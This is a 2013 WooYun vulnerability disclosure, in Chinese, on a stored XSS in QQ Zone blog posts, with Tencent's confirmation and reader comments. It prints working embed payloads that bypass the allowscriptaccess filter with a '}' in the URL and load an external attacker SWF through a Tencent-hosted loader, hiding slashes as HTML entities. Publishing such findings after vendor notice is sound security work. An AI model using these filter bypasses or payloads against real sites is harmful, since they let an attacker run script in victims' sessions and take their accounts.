当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-020230

漏洞标题:QQ空间某功能缺陷导致日志存储型XSS - 3

相关厂商:腾讯

漏洞作者: gainover

提交时间:2013-03-18 00:51

修复时间:2013-05-02 00:52

公开时间:2013-05-02 00:52

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-18: 细节已通知厂商并且等待厂商处理中
2013-03-18: 厂商已经确认,细节仅向厂商公开
2013-03-28: 细节向核心白帽子及相关领域专家公开
2013-04-07: 细节向普通白帽子公开
2013-04-17: 细节向实习白帽子公开
2013-05-02: 细节向公众公开

简要描述:

接着来吧~

详细说明:

1. 我们测试一下QQ空间日志中插入FLASH的功能。
我们大概可以知道,插入外域名下的FLASH,可能难以绕过腾讯的限制。
那么根据之前已有的漏洞经验,我们可以试试qzs.qq.com这个域名下的FLASH。
于是google, site:qzs.qq.com filetype:swf
2. 添加一个FLASH,并发表日志。

1.jpg


同时可以抓包看到所发送的html

<div class="blog_details_20120222"><div><embed class="blog_flash" id="0.6712338558863848" menu="false" invokeURLs="false" allowNetworking="all" allowFullScreen="true" allowscriptaccess="always" wmode="transparent" src="http://cnc.qzs.qq.com/music/qzone/qzone_tv_player.swf" height="425" width="500"/><br></div></div>


3. 看看我们日志中输出的内容,allowscriptaccess 变成了 "never"

2.jpg


4. 这样一来,就算我们调用qzs.qq.com下有缺陷的域名,依然无法导致XSS。
5. 怎么办呢?这里我想,应该是会将我们的allowscriptaccess做了修改,但是可能是
无条件修改:见到always就变成never;
有条件修改:根据URL做一些判断,再修改。
我们试试看,在url中加入一些其它的符号,试试是否可以绕过
http://cnc.qzs.qq.com/music/qzone/qzone_tv_player.swf?a=【某个符号】
6.当我们试到 } 试,奇迹发生了
http://cnc.qzs.qq.com/music/qzone/qzone_tv_player.swf?a=}
即发送日志的内容为:

<div class="blog_details_20120222"><div><embed class="blog_flash" id="0.6712338558863848" menu="false" invokeURLs="false" allowNetworking="all" allowFullScreen="true" allowscriptaccess="always" wmode="transparent" src="http://cnc.qzs.qq.com/music/qzone/qzone_tv_player.swf?a=}" height="425" width="500"/><br></div></div>


查看源码,always 神奇的存在了, 如下图:

3.jpg


7. 这样一来,我们首先绕过了对 allowscriptaccess="always" 的过滤。接着,我们就是要找一个qzs.qq.com域名下,具有缺陷的FLASH文件。
依然是:google, site:qzs.qq.com filetype:swf
8. 对于传统的 ExternalInterface.call,腾讯已经基本都做了限制,我本人也在本域名下做了多次挖掘与上报,目前已经很难寻找到了。但是对于存储型,我们还可以有其他的方法来执行XSS。
例如 Loader 加载一个 外部的swf 或者 htmlText='<img src="外部swf">' 的方式。
9. 带着这些思路,没有找到htmlText的,但是找到一个loader的。
http://ctc.qzs.qq.com/qzone/client/photo/swf/CustomSlideShow.swf?bg=外部图片或FLASH
具体FLASH反编译查找参数过程,在此不述。
10. 接着我们构造利用代码。

<div class="blog_details_20120222"><div><embed class="blog_flash" menu="false" invokeURLs="false" allowNetworking="all" allowFullScreen="true" allowscriptaccess="always" wmode="transparent" src="http://ctc.qzs.qq.com/qzone/client/photo/swf/CustomSlideShow.swf?a=}&bg=http://xsst.sinaapp.com/Xss.swf" height="425" width="500"/><br></div></div>


11. 用上面的代码,会发现FLASH被过滤啦。。看来http://xsst.sinaapp.com/Xss.swf又触发了对src属性的判断规则。
我们稍微修改下,将 / 改为 &#x2F;, 再次绕过限制。

<div class="blog_details_20120222"><div><embed class="blog_flash" menu="false" invokeURLs="false" allowNetworking="all" allowFullScreen="true" allowscriptaccess="always" wmode="transparent" src="http://ctc.qzs.qq.com/qzone/client/photo/swf/CustomSlideShow.swf?a=}&bg=http:&#x2F;&#x2F;xsst.sinaapp.com&#x2F;Xss.swf" height="425" width="500"/><br></div></div>


12. 用以上代码发表日志。查看效果。
IE & chrome下,执行代码。

4.jpg


漏洞证明:

见详细说明

修复方案:

服务器端的逻辑,我不猜~

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-03-18 15:25

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-03-18 08:32 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~此号为虚拟小号,并不存在实体...)

    这洞一确认又要变老二了

  2. 2013-03-18 08:50 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:136 | 心在,梦在)

    看来@se55i0n 刺激到G博士了,反正大家又有洞子看咯

  3. 2013-03-18 08:58 | Chu ( 实习白帽子 | Rank:64 漏洞数:7 | 学习ing。)

    无敌了。。。

  4. 2013-03-18 09:17 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    顶二楼、、GN很喜欢当老二额。。老二、、擦 。邪恶了

  5. 2013-03-18 10:11 | leaf ( 普通白帽子 | Rank:948 漏洞数:121 | 真的没影响么?)

    mark

  6. 2013-03-18 10:43 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @px1624 看来你看片看多了。

  7. 2013-03-18 11:02 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    二哥又出现了,传说中的大哥在哪里...

  8. 2013-03-18 11:06 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    三天赶一哥,五天做一哥

  9. 2013-03-18 11:09 | 剑指天涯 ( 路人 | Rank:1 漏洞数:1 | 我是来乌云打酱油的,没提过漏洞,没拿过ra...)

    重复了?

  10. 2013-03-18 11:24 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @剑指天涯 G博士是不会发重复的漏洞的。。

  11. 2013-03-18 11:52 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @gainover 哈哈

  12. 2013-03-18 16:08 | rasca1 ( 实习白帽子 | Rank:53 漏洞数:16 | 菜鸟一只)

    二哥永远二

  13. 2013-04-18 21:31 | lucky ( 普通白帽子 | Rank:409 漏洞数:81 | 三人行必有我师焉########################...)

    学习了!二哥大作!

  14. 2013-04-19 00:19 | none ( 实习白帽子 | Rank:40 漏洞数:5 | 十次十次啊 hack it then know more~)

    }将 allowscriptaccess="always"变回来是啥原理啊?

  15. 2013-04-20 01:27 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @none 我觉得正则问题 \W、?

  16. 2013-05-02 09:06 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:330 | 呵呵!)

    二哥再出江湖了。。。

  17. 2013-05-02 10:41 | Adra1n ( 普通白帽子 | Rank:437 漏洞数:68 )

    这个在测试zone时候遇到过,可惜没有突破allowscriptaccess的限制

  18. 2014-04-23 23:18 | 【|→上善若水】 ( 普通白帽子 | Rank:127 漏洞数:23 | 【|→上善若水】)

    @gainover 二哥,这个能获取cookie吗?最近遇到一个可以插入任意flash文件的<embed> 而且allowscriptaccess="always"但是由于crossdomain.xml不能跨域,今天终于看到思路了